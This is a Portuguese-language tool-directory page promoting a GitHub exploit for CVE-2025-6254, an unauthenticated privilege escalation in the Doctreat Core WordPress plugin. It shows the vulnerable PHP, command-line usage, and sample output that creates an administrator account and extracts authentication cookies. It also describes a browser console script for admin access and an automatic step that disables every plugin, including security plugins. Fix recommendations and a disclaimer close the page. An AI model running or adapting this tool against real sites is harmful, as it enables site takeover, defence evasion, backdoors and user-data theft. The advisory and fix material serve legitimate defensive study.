Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-6254 — CVE-2025-6254 — Doctreat Core <= 1.6.8 — Escalação de Privilégios Não Autenticada | Kitploit
Ferramentas/GitHubGitHub/yucaerin/cve-2025-6254
Escalada de PrivilégiosGeração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoSegurança WebCTFTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
yucaerin/cve-2025-6254

CVE-2025-6254

CVE-2025-6254 — Doctreat Core <= 1.6.8 — Escalação de Privilégios Não Autenticada

Ver Repositório

CVE-2025-6254 — Doctreat Core <= 1.6.8 — Escalada de Privilégios Não Autenticada via Injeção de Função

🔥 Resumo da Vulnerabilidade

O plugin WordPress Doctreat Core nas versões <= 1.6.8 está vulnerável a uma vulnerabilidade de escalada de privilégios não autenticada. Essa falha crítica permite que atacantes não autenticados criem uma nova conta de Administrador diretamente pelo endpoint AJAX de registro do plugin.

A vulnerabilidade tem origem na função doctreat_process_registration() em hooks/hooks.php, que aceita o parâmetro user_type diretamente dos dados POST enviados pelo usuário e o passa como o parâmetro role para wp_update_user() sem autorização adequada ou validação por lista de permissões (allowlist). O plugin aplica apenas esc_sql() (que não valida funções) — ele nunca verifica se a função é segura para registro público.

Descoberta Fundamental: O nonce usado pelo Doctreat (scripts_vars.ajax_nonce) é exposto em qualquer página pública do tema Doctreat ativo. O parâmetro user_type, que normalmente controla se um usuário se registra como "doctors", "hospitals" ou "regular_users", pode ser sobrescrito via POST para user_type=administrator — e esse valor é passado diretamente como o parâmetro role do WordPress.

🔍 Plugin Afetado

  • Nome do Plugin: Doctreat Core
  • Versão Afetada: <= 1.6.8
  • Tipo de Vulnerabilidade: Escalada de Privilégios Não Autenticada via Injeção de Função
  • CVE ID: CVE-2025-6254
  • Pontuação CVSS: 9.8 (Crítica)
  • CWE: CWE-269 — Gerenciamento Incorreto de Privilégios
  • Impacto: Assunção Total do Site — Criação de Conta de Administrador

🧨 O Que os Atacantes Podem Fazer

🧪 Recursos do Exploit

  • 🔓 Nenhuma autenticação necessária
  • 📝 Funciona pelo endpoint AJAX de registro
  • 🎯 Tem como alvo o endpoint AJAX /wp-admin/admin-ajax.php?action=doctreat_process_registration
  • 🧠 Injeção de função — envia user_type=administrator junto com os campos normais de registro
  • 🌐 Extração automática de nonce — coleta o ajax_nonce das páginas públicas do tema Doctreat
  • 🔐 Contorna a verificação de nonce — usa o nonce legítimo exposto pelos scripts do tema
  • 🔗 Detecção automática de http/https — sem necessidade de especificar o protocolo
  • 🔒 Suporte a SSL inseguro — funciona com certificados autoassinados/inválidos
  • 🎛️ Desativação automática de todos os plugins — 3 métodos: ação em massa em plugins.php, API REST, admin-ajax.php
  • 🍪 Extração de cookies — gera cookies de autenticação do WordPress para uso no navegador/curl
  • 🧠 Script de console JavaScript — cole no DevTools do navegador para acesso instantâneo de administrador

🧠 Código Vulnerável

root@kitploit:~
// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
    'ID' => esc_sql( $user_identity ),
    'role' => esc_sql( $user_type ),  // ← user_type from $_POST via extract($_POST)
    'user_status' => 0
) );
root@kitploit:~
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );

Nota: Em alvos com configurações de verificação padrão ($verify_user vazio ou 'remove'), o usuário é verificado automaticamente e obtém acesso de administrador imediato. Alvos com verificação por e-mail ou aprovação de administrador habilitada exigirão etapas adicionais de verificação.

🚀 Uso

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080

Login com Credenciais Existentes (Obter Cookies)

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com username password

Exemplo de Saída Completa

root@kitploit:~
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator

[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR

[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}

[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access

[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!

Script de Console JavaScript

Após executar o exploit, copie o JavaScript gerado e cole-o no Console do DevTools do seu navegador (F12):

root@kitploit:~
(function() {
    'use strict';
    console.log('[*] Starting WordPress admin access...');
    // ... cookies set automatically ...
    window.location.href = 'https://target.com/wp-admin/';
})();

Requisitos

  • Python 3.6+
  • Biblioteca requests (pip install requests)
  • O alvo deve ter:
    • Tema Doctreat ativo (para extração do nonce)
    • Plugin Doctreat Core <= 1.6.8 ativado
    • Registro de usuários habilitado

🛠 Recomendações de Correção

root@kitploit:~
// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
    $user_type = 'regular_users';  // ← Reject ALL dangerous roles
}
  • Implemente uma allowlist estrita de funções para o registro
  • Adicione verificações de capacidade current_user_can('create_users') para funções privilegiadas
  • Valide user_type antes de passá-lo para wp_update_user()
  • Considere remover completamente a atribuição de função do registro público

🧠 Pesquisadora

  • Crédito: Friderika Baranyai (Foxyyy)

📚 Referências

  • Advisory da Wordfence

🔒 Aviso Legal

Estas informações são fornecidas apenas para fins educacionais e de teste de penetração autorizado. A exploração não autorizada de sistemas de computador é ilegal e antiética. Sempre obtenha permissão explícita por escrito antes de testar qualquer alvo que você não possua.

Baixar ferramenta
CapacidadeImpacto
🔑 Criar conta de administrador sem loginAssunção Total do Site
🎛️ Desativar automaticamente todos os plugins de segurançaEvasão de Defesa
💉 Editar arquivos PHP de plugins/temasExecução Remota de Código
🕳️ Instalar backdoors ocultosAcesso Persistente
👥 Visualizar todos os dados dos usuáriosViolação de Privacidade